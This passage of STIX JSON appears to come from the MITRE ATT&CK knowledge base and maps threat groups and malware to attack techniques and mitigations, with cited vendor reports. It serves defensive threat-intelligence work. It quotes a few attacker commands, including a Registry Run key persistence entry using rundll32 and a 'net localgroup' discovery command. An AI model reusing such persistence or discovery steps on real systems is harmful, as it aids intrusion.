            "source_ref": "malware--9752aef4-a1f3-4328-929f-b64eb0536090",
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            "description": "[Dark Caracal](https://attack.mitre.org/groups/G0070) makes their malware look like Flash Player, Office, or PDF documents in order to entice a user to click on it.(Citation: Lookout Dark Caracal Jan 2018)",
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                    "description": "Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. Retrieved April 11, 2018.",
                    "source_name": "Lookout Dark Caracal Jan 2018"
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            ],
            "source_ref": "intrusion-set--8a831aaa-f3e0-47a3-bed8-a9ced744dd12",
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            "description": "The \"tDiscoverer\" variant of [HAMMERTOSS](https://attack.mitre.org/software/S0037) establishes a C2 channel by downloading resources from Web services like Twitter and GitHub. [HAMMERTOSS](https://attack.mitre.org/software/S0037) binaries contain an algorithm that generates a different Twitter handle for the malware to check for instructions every day.(Citation: FireEye APT29)",
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            ],
            "external_references": [
                {
                    "source_name": "FireEye APT29",
                    "description": "FireEye Labs. (2015, July). HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat Group. Retrieved September 17, 2015.",
                    "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf"
                }
            ],
            "source_ref": "malware--2daa14d6-cbf3-4308-bb8e-213c324a08e4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9c99724c-a483-4d60-ad9d-7f004e42e8e8",
            "type": "relationship",
            "modified": "2020-03-30T00:59:07.429Z",
            "created": "2017-12-14T16:46:06.044Z"
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        {
            "id": "relationship--9088b52e-8e07-4fd4-ac80-66df7f877adf",
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            "description": "[Bisonal](https://attack.mitre.org/software/S0268) uses rundll32.exe to execute as part of the Registry Run key it adds: <code>HKEY_CURRENT_USER \\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\\u201dvert\u201d = \u201crundll32.exe c:\\windows\\temp\\pvcu.dll , Qszdez\u201d</code>.(Citation: Unit 42 Bisonal July 2018)",
            "object_marking_refs": [
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            "external_references": [
                {
                    "source_name": "Unit 42 Bisonal July 2018",
                    "description": "Hayashi, K., Ray, V. (2018, July 31). Bisonal Malware Used in Attacks Against Russia and South Korea. Retrieved August 7, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-bisonal-malware-used-attacks-russia-south-korea/"
                }
            ],
            "source_ref": "malware--65ffc206-d7c1-45b3-b543-f6b726e7840d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5",
            "type": "relationship",
            "modified": "2020-03-17T00:24:48.176Z",
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            "description": "[Briba](https://attack.mitre.org/software/S0204) creates run key Registry entries pointing to malicious DLLs dropped to disk.(Citation: Symantec Briba May 2012)",
            "object_marking_refs": [
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            ],
            "external_references": [
                {
                    "source_name": "Symantec Briba May 2012",
                    "description": "Ladley, F. (2012, May 15). Backdoor.Briba. Retrieved February 21, 2018.",
                    "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051515-2843-99"
                }
            ],
            "source_ref": "malware--79499993-a8d6-45eb-b343-bf58dea5bdde",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "type": "relationship",
            "modified": "2021-02-09T14:56:14.765Z",
            "created": "2018-04-18T17:59:24.739Z"
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            ],
            "source_ref": "course-of-action--797312d4-8a84-4daf-9c56-57da4133c322",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--9fa07bef-9c81-421e-a8e5-ad4366c5a925",
            "type": "relationship",
            "modified": "2020-11-16T17:37:45.651Z",
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            "description": "[Derusbi](https://attack.mitre.org/software/S0021) is capable of performing screen captures.(Citation: FireEye Periscope March 2018)",
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            ],
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                {
                    "source_name": "FireEye Periscope March 2018",
                    "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html"
                }
            ],
            "source_ref": "malware--94379dec-5c87-49db-b36e-66abc0b81344",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688",
            "type": "relationship",
            "modified": "2020-03-16T15:39:47.661Z",
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            "source_ref": "course-of-action--94e95eeb-7cdb-4bd7-afba-f32fda303dbb",
            "relationship_type": "mitigates",
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            "type": "relationship",
            "modified": "2020-01-31T12:39:48.366Z",
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            "description": "[APT1](https://attack.mitre.org/groups/G0006) has used RAR to compress files before moving them outside of the victim network.(Citation: Mandiant APT1)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Mandiant APT1",
                    "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
                }
            ],
            "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662",
            "type": "relationship",
            "modified": "2020-03-30T01:45:32.576Z",
            "created": "2017-05-31T21:33:27.036Z"
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            "description": "[admin@338](https://attack.mitre.org/groups/G0018) actors used the following command following exploitation of a machine with [LOWBALL](https://attack.mitre.org/software/S0042) malware to list local groups: <code>net localgroup administrator >> %temp%\\download</code>(Citation: FireEye admin@338)",
            "object_marking_refs": [
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                {
                    "url": "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html",
                    "description": "FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.",
                    "source_name": "FireEye admin@338"
                }
            ],
            "source_ref": "intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--a01bf75f-00b2-4568-a58f-565ff9bf202b",
            "type": "relationship",
            "modified": "2020-03-18T19:54:59.183Z",
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        },
        {
            "id": "relationship--f52f1b34-a96a-45a0-8cc0-2f138a3f1257",
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            "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90",
            "relationship_type": "uses",
            "target_ref": "malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a",
            "external_references": [
                {
                    "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/",
                    "description": "Chen, J. and Hsieh, M. (2017, November 7). REDBALDKNIGHT/BRONZE BUTLER\u2019s Daserf Backdoor Now Using Steganography. Retrieved December 27, 2017.",
                    "source_name": "Trend Micro Daserf Nov 2017"
                },
                {
                    "url": "https://www.symantec.com/connect/blogs/tick-cyberespionage-group-zeros-japan",
                    "description": "DiMaggio, J. (2016, April 28). Tick cyberespionage group zeros in on Japan. Retrieved July 16, 2018.",
                    "source_name": "Symantec Tick Apr 2016"
                }
            ],
            "description": "(Citation: Trend Micro Daserf Nov 2017)(Citation: Symantec Tick Apr 2016)",
            "type": "relationship",
            "modified": "2019-03-22T19:57:37.429Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--45cd89d8-68fd-42a2-94ba-7796a696bc47",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[OilRig](https://attack.mitre.org/groups/G0049) has a tool called CANDYKING to capture a screenshot of user's desktop.(Citation: FireEye APT34 Webinar Dec 2017)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east",
                    "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.",
                    "source_name": "FireEye APT34 Webinar Dec 2017"
                }
            ],
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            "description": "[Darkhotel](https://attack.mitre.org/groups/G0012) has used code-signing certificates on its malware that are either forged due to weak keys or stolen. [Darkhotel](https://attack.mitre.org/groups/G0012) has also stolen certificates and signed backdoors and downloaders with them.(Citation: Kaspersky Darkhotel)(Citation: Securelist Darkhotel Aug 2015)",
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                },
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                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2015, August 10). Darkhotel's attacks in 2015. Retrieved November 2, 2018.",
                    "url": "https://securelist.com/darkhotels-attacks-in-2015/71713/",
                    "source_name": "Securelist Darkhotel Aug 2015"
                }
            ],
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                {
                    "source_name": "Mandiant No Easy Breach",
                    "description": "Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved October 4, 2016.",
                    "url": "http://www.slideshare.net/MatthewDunwoody1/no-easy-breach-derby-con-2016"
                },
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2017/03/apt29_domain_frontin.html",
                    "description": "Dunwoody, M. (2017, March 27). APT29 Domain Fronting With TOR. Retrieved March 27, 2017.",
                    "source_name": "FireEye APT29 Domain Fronting"
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                {
                    "url": "https://www.fireeye.com/blog/threat-research/2014/11/operation_doubletap.html",
                    "description": "Moran, N., et al. (2014, November 21). Operation Double Tap. Retrieved January 14, 2016.",
                    "source_name": "FireEye Operation Double Tap"
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            ],
            "description": "(Citation: FireEye Operation Double Tap)",
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                    "description": "Baumgartner, K. and Garnaeva, M.. (2014, November 3). BE2 custom plugins, router abuse, and target profiles. Retrieved March 24, 2016.",
                    "url": "https://securelist.com/be2-custom-plugins-router-abuse-and-target-profiles/67353/"
                }
            ],
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            "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) has used a VBA Macro to set its file attributes to System and Hidden and has named files with a dot prefix to hide them from the Finder application.(Citation: McAfee Lazarus Resurfaces Feb 2018)(Citation: SentinelOne Lazarus macOS July 2020)(Citation: TrendMicro macOS Dacls May 2020)",
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                    "description": "Sherstobitoff, R. (2018, February 12). Lazarus Resurfaces, Targets Global Banks and Bitcoin Users. Retrieved February 19, 2018.",
                    "source_name": "McAfee Lazarus Resurfaces Feb 2018"
                },
                {
                    "source_name": "SentinelOne Lazarus macOS July 2020",
                    "url": "https://www.sentinelone.com/blog/four-distinct-families-of-lazarus-malware-target-apples-macos-platform/",
                    "description": "Stokes, P. (2020, July 27). Four Distinct Families of Lazarus Malware Target Apple\u2019s macOS Platform. Retrieved August 7, 2020."
                },
                {
                    "source_name": "TrendMicro macOS Dacls May 2020",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-dacls-rat-backdoor-show-lazarus-multi-platform-attack-capability/",
                    "description": "Mabutas, G. (2020, May 11). New MacOS Dacls RAT Backdoor Shows Lazarus\u2019 Multi-Platform Attack Capability. Retrieved August 10, 2020."
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            "description": "[APT28](https://attack.mitre.org/groups/G0007) uses a module to receive a notification every time a USB mass storage device is inserted into a victim.(Citation: Microsoft SIR Vol 19)",
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                    "description": "Anthe, C. et al. (2015, October 19). Microsoft Security Intelligence Report Volume 19. Retrieved December 23, 2015.",
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            "description": "Malware used by [Group5](https://attack.mitre.org/groups/G0043) is capable of remotely deleting files from victims.(Citation: Citizen Lab Group5)",
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                    "description": "Scott-Railton, J., et al. (2016, August 2). Group5: Syria and the Iranian Connection. Retrieved September 26, 2016.",
                    "url": "https://citizenlab.ca/2016/08/group5-syria/"
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            ],
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        {
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            "description": "[Patchwork](https://attack.mitre.org/groups/G0040) payloads download additional files from the C2 server.(Citation: Securelist Dropping Elephant)(Citation: TrendMicro Patchwork Dec 2017)",
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                {
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                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, July 8). The Dropping Elephant \u2013 aggressive cyber-espionage in the Asian region. Retrieved August 3, 2016.",
                    "source_name": "Securelist Dropping Elephant"
                },
                {
                    "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf",
                    "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.",
                    "source_name": "TrendMicro Patchwork Dec 2017"
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            ],
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            "relationship_type": "uses",
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            "description": "[FIN6](https://attack.mitre.org/groups/G0037) has encoded data gathered from the victim with a simple substitution cipher and single-byte XOR using the 0xAA key, and Base64 with character permutation.(Citation: FireEye FIN6 April 2016)(Citation: Trend Micro FIN6 October 2019)",
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                    "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf",
                    "description": "FireEye Threat Intelligence. (2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. Retrieved June 1, 2016.",
                    "source_name": "FireEye FIN6 April 2016"
                },
                {
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                    "url": "https://www.trendmicro.com/en_us/research/19/j/fin6-compromised-e-commerce-platform-via-magecart-to-inject-credit-card-skimmers-into-thousands-of-online-shops.html",
                    "description": "Chen, J. (2019, October 10). Magecart Card Skimmers Injected Into Online Shops. Retrieved September 9, 2020."
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            ],
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            "description": "[FIN8](https://attack.mitre.org/groups/G0061) has tunneled RDP backdoors over port 443.(Citation: FireEye Know Your Enemy FIN8 Aug 2016)",
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            "relationship_type": "uses",
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                {
                    "source_name": "Mandiant APT1",
                    "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
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            ],
            "description": "(Citation: Mandiant APT1)",
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            "description": "[Leafminer](https://attack.mitre.org/groups/G0077) scanned network services to search for vulnerabilities in the victim system.(Citation: Symantec Leafminer July 2018)",
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            ],
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                {
                    "url": "https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east",
                    "description": "Symantec Security Response. (2018, July 25). Leafminer: New Espionage Campaigns Targeting Middle Eastern Regions. Retrieved August 28, 2018.",
                    "source_name": "Symantec Leafminer July 2018"
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            ],
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            "description": "A [Lazarus Group](https://attack.mitre.org/groups/G0032) malware sample performs reflective DLL injection.(Citation: McAfee Lazarus Resurfaces Feb 2018)",
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                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/",
                    "description": "Sherstobitoff, R. (2018, February 12). Lazarus Resurfaces, Targets Global Banks and Bitcoin Users. Retrieved February 19, 2018.",
                    "source_name": "McAfee Lazarus Resurfaces Feb 2018"
                }
            ],
            "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945",
            "type": "relationship",
            "modified": "2020-12-11T17:47:22.590Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--519c4c7f-8495-4b8a-b58e-551a78e469cc",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Turla](https://attack.mitre.org/groups/G0010) surveys a system upon check-in to discover information in the Windows Registry with the <code>reg query</code> command.(Citation: Kaspersky Turla) [Turla](https://attack.mitre.org/groups/G0010) has also retrieved PowerShell payloads hidden in Registry keys as well as checking keys associated with null session named pipes .(Citation: ESET Turla PowerShell May 2019)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://securelist.com/the-epic-turla-operation/65545/",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.",
                    "source_name": "Kaspersky Turla"
                },
                {
                    "description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.",
                    "url": "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/",
                    "source_name": "ESET Turla PowerShell May 2019"
                }
            ],
            "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896",
            "type": "relationship",
            "modified": "2019-07-14T21:04:44.729Z",
            "created": "2017-05-31T21:33:27.045Z"
        },
        {
            "id": "relationship--f0094ba8-a513-49bf-a5d7-961aaab13380",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--a0cb9370-e39b-44d5-9f50-ef78e412b973",
            "relationship_type": "uses",
            "target_ref": "malware--73a4793a-ce55-4159-b2a6-208ef29b326f",
            "external_references": [
                {
                    "url": "http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf",
                    "description": "Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.",
                    "source_name": "Novetta-Axiom"
                }
            ],
            "description": "(Citation: Novetta-Axiom)",
            "type": "relationship",
            "modified": "2019-03-22T19:55:13.760Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--e3425903-a09d-44e2-b033-daadc8208ff5",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[DarkHydrus](https://attack.mitre.org/groups/G0079) has sent spearphishing emails with password-protected RAR archives containing malicious Excel Web Query files (.iqy). The group has also sent spearphishing emails that contained malicious Microsoft Office documents that use the \u201cattachedTemplate\u201d technique to load a template from a remote server.(Citation: Unit 42 DarkHydrus July 2018)(Citation: Unit 42 Phishery Aug 2018)(Citation: Unit 42 Playbook Dec 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/",
                    "description": "Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.",
                    "source_name": "Unit 42 DarkHydrus July 2018"
                },
                {
                    "url": "https://researchcenter.paloaltonetworks.com/2018/08/unit42-darkhydrus-uses-phishery-harvest-credentials-middle-east/",
                    "description": "Falcone, R. (2018, August 07). DarkHydrus Uses Phishery to Harvest Credentials in the Middle East. Retrieved August 10, 2018.",
                    "source_name": "Unit 42 Phishery Aug 2018"
                },
                {
                    "url": "https://pan-unit42.github.io/playbook_viewer/",
                    "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.",
                    "source_name": "Unit 42 Playbook Dec 2017"
                }
            ],
            "source_ref": "intrusion-set--6b9ebeb5-20bf-48b0-afb7-988d769a2f01",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597",
            "type": "relationship",
            "modified": "2019-04-22T19:23:13.461Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--1ed35fc6-ea81-4669-9fd3-997422febe09",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[APT19](https://attack.mitre.org/groups/G0073) used TCP port 80 for C2.(Citation: FireEye APT19)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html",
                    "description": "Ahl, I. (2017, June 06). Privileges and Credentials: Phished at the Request of Counsel. Retrieved May 17, 2018.",
                    "source_name": "FireEye APT19"
                }
            ],
            "source_ref": "intrusion-set--fe8796a4-2a02-41a0-9d27-7aa1e995feb6",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e",
            "type": "relationship",
            "modified": "2019-04-25T11:39:52.056Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--61e11940-0a88-48c8-8532-e57b5bb6bdb6",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) likely obtained a list of hosts in the victim environment.(Citation: US-CERT TA18-074A)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "US-CERT TA18-074A",
                    "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A"
                }
            ],
            "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735",
            "type": "relationship",
            "modified": "2019-03-22T20:13:49.453Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--47f521b8-37e4-489d-b6eb-25f35de80aae",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) has downloaded additional code and files from servers onto victims.(Citation: Unit 42 Magic Hound Feb 2017) ",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 Magic Hound Feb 2017",
                    "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/"
                }
            ],
            "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2021-04-14T14:10:54.673Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--5e596415-354e-4ccc-bc9d-3deb3fe5de1e",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[APT37](https://attack.mitre.org/groups/G0067) has used a credential stealer known as ZUMKONG that can harvest usernames and passwords stored in browsers.(Citation: FireEye APT37 Feb 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT37 Feb 2018",
                    "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.",
                    "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"
                }
            ],
            "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8",
            "type": "relationship",
            "modified": "2020-03-19T22:17:57.976Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--ab83d817-57b8-4970-afc6-fbd70c6e3760",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022",
            "relationship_type": "uses",
            "target_ref": "tool--9de2308e-7bed-43a3-8e58-f194b3586700",
            "external_references": [
                {
                    "url": "https://www.youtube.com/watch?v=fevGZs0EQu8",
                    "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.",
                    "source_name": "Mandiant FIN5 GrrCON Oct 2016"
                }
            ],
            "description": "(Citation: Mandiant FIN5 GrrCON Oct 2016)",
            "type": "relationship",
            "modified": "2019-04-24T19:41:25.865Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--fc79f30d-94c8-400e-ab10-21d2a2527788",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90",
            "relationship_type": "uses",
            "target_ref": "tool--242f3da3-4425-4d11-8f5c-b842886da966",
            "external_references": [
                {
                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses",
                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
                    "source_name": "Secureworks BRONZE BUTLER Oct 2017"
                },
                {
                    "url": "https://www.symantec.com/connect/blogs/tick-cyberespionage-group-zeros-japan",
                    "description": "DiMaggio, J. (2016, April 28). Tick cyberespionage group zeros in on Japan. Retrieved July 16, 2018.",
                    "source_name": "Symantec Tick Apr 2016"
                }
            ],
            "description": "(Citation: Secureworks BRONZE BUTLER Oct 2017)(Citation: Symantec Tick Apr 2016)",
            "type": "relationship",
            "modified": "2019-03-22T19:57:37.435Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--48f662fe-1ba2-4c19-b782-dd06d9fb67fa",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[APT28](https://attack.mitre.org/groups/G0007) has used tools to take screenshots from victims.(Citation: ESET Sednit Part 2)(Citation: XAgentOSX 2017)(Citation: DOJ GRU Indictment Jul 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf",
                    "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.",
                    "source_name": "ESET Sednit Part 2"
                },
                {
                    "source_name": "XAgentOSX 2017",
                    "description": "Robert Falcone. (2017, February 14). XAgentOSX: Sofacy's Xagent macOS Tool. Retrieved July 12, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/"
                },
                {
                    "url": "https://www.justice.gov/file/1080281/download",
                    "description": "Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.",
                    "source_name": "DOJ GRU Indictment Jul 2018"
                }
            ],
            "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688",
            "type": "relationship",
            "modified": "2019-10-25T15:19:53.994Z",
            "created": "2017-05-31T21:33:27.039Z"
        },
        {
            "id": "relationship--4caf9f0d-dfe9-48ce-9b6e-812577e09711",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Crimson](https://attack.mitre.org/software/S0115) contains a command to collect the victim PC name and operating system.(Citation: Proofpoint Operation Transparent Tribe March 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Proofpoint Operation Transparent Tribe March 2016",
                    "description": "Huss, D.. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.",
                    "url": "https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf"
                }
            ],
            "source_ref": "malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2020-03-17T16:19:37.440Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--3d4737ca-bd18-4628-b453-9aed3f555c13",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[PLATINUM](https://attack.mitre.org/groups/G0068) has leveraged a zero-day vulnerability to escalate privileges.(Citation: Microsoft PLATINUM April 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf",
                    "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.",
                    "source_name": "Microsoft PLATINUM April 2016"
                }
            ],
            "source_ref": "intrusion-set--f9c06633-dcff-48a1-8588-759e7cec5694",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839",
            "type": "relationship",
            "modified": "2019-05-10T12:14:32.059Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--74316a28-d1a6-40b8-8c49-836f06e90e02",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Patchwork](https://attack.mitre.org/groups/G0040) uses malicious documents to deliver remote execution exploits as part of. The group has previously exploited CVE-2017-8570, CVE-2012-1856, CVE-2014-4114, CVE-2017-0199, CVE-2017-11882, and CVE-2015-1641.(Citation: Cymmetria Patchwork)(Citation: Securelist Dropping Elephant)(Citation: Symantec Patchwork)(Citation: PaloAlto Patchwork Mar 2018)(Citation: TrendMicro Patchwork Dec 2017)(Citation: Volexity Patchwork June 2018)(Citation: Unit 42 BackConfig May 2020)",
            "object_marking_refs": [
